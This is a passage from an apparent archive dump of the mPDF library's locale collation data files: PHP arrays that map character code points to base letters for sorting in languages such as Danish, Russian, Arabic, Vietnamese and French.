=> 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Jordan.php000064400000001626147600022140016165 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Danish_Denmark.php000064400000002505147600022140016353 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 227 => 97, 195 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 252 => 121, 220 => 121, 90 => 122, 382 => 122, 381 => 122, 198 => 230, 228 => 230, 196 => 230, 216 => 248, 246 => 248, 214 => 248, 197 => 229, ]; vendor/mpdf/mpdf/data/collations/Albanian_Albania.php000064400000002677147600022140016632 0ustar00 711, 65 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 259 => 97, 258 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 263 => 99, 262 => 99, 269 => 99, 268 => 99, 231 => 99, 199 => 99, 68 => 100, 271 => 100, 270 => 100, 273 => 100, 272 => 100, 69 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 283 => 101, 282 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 314 => 108, 313 => 108, 318 => 108, 317 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 328 => 110, 327 => 110, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 341 => 114, 340 => 114, 345 => 114, 344 => 114, 83 => 115, 347 => 115, 346 => 115, 353 => 115, 352 => 115, 351 => 115, 350 => 115, 223 => 115, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 221 => 253, 89 => 121, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Russian_Russia.php000064400000002201147600022140016447 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Malay_Malaysia.php000064400000002551147600022140016370 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/German_Switzerland.php000064400000002551147600022140017304 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Faroese_Faroe_Islands.php000064400000002551147600022140017662 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Venezuela.php000064400000002533147600022140017130 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Ecuador.php000064400000002533147600022140016554 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Sami_(Northern)_Sweden.php000064400000002347147600022140017706 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 216 => 248, 197 => 229, 196 => 228, 214 => 246, ]; vendor/mpdf/mpdf/data/collations/Macedonian_(FYROM)_Macedonia_(FYROM).php000064400000002161147600022140021672 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1168 => 1169, 1076 => 1107, 1027 => 1107, 1044 => 1107, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1036 => 1116, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Sami_(Skolt)_Finland.php000064400000002347147600022140017331 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 216 => 248, 197 => 229, 196 => 228, 214 => 246, ]; vendor/mpdf/mpdf/data/collations/Arabic_Qatar.php000064400000001626147600022140016020 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Tamazight_(Latin)_Algeria.php000064400000002551147600022140020331 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 86 => 118, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Bashkir_Russia.php000064400000002201147600022140016406 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Greenlandic_Greenland.php000064400000002505147600022140017676 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 227 => 97, 195 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 252 => 121, 220 => 121, 90 => 122, 382 => 122, 381 => 122, 198 => 230, 228 => 230, 196 => 230, 216 => 248, 246 => 248, 214 => 248, 197 => 229, ]; vendor/mpdf/mpdf/data/collations/Indonesian_Indonesia.php000064400000002551147600022140017565 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Vietnamese_Vietnam.php000064400000002251147600022140017265 0ustar00 173, 777 => 173, 771 => 173, 769 => 173, 803 => 173, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 170 => 97, 192 => 97, 225 => 97, 193 => 97, 228 => 97, 196 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 258 => 259, 194 => 226, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 272 => 273, 69 => 101, 232 => 101, 200 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 202 => 234, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 239 => 105, 207 => 105, 206 => 238, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 246 => 111, 214 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 212 => 244, 416 => 417, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 84 => 116, 85 => 117, 249 => 117, 217 => 117, 250 => 117, 218 => 117, 252 => 117, 220 => 117, 431 => 432, 219 => 251, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 255 => 121, 376 => 121, 90 => 122, ]; vendor/mpdf/mpdf/data/collations/French_France.php000064400000002551147600022140016170 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Sami_(Lule)_Sweden.php000064400000002347147600022140017010 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 216 => 248, 197 => 229, 196 => 228, 214 => 246, ]; vendor/mpdf/mpdf/data/collations/English_Belize.php000064400000002551147600022140016370 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 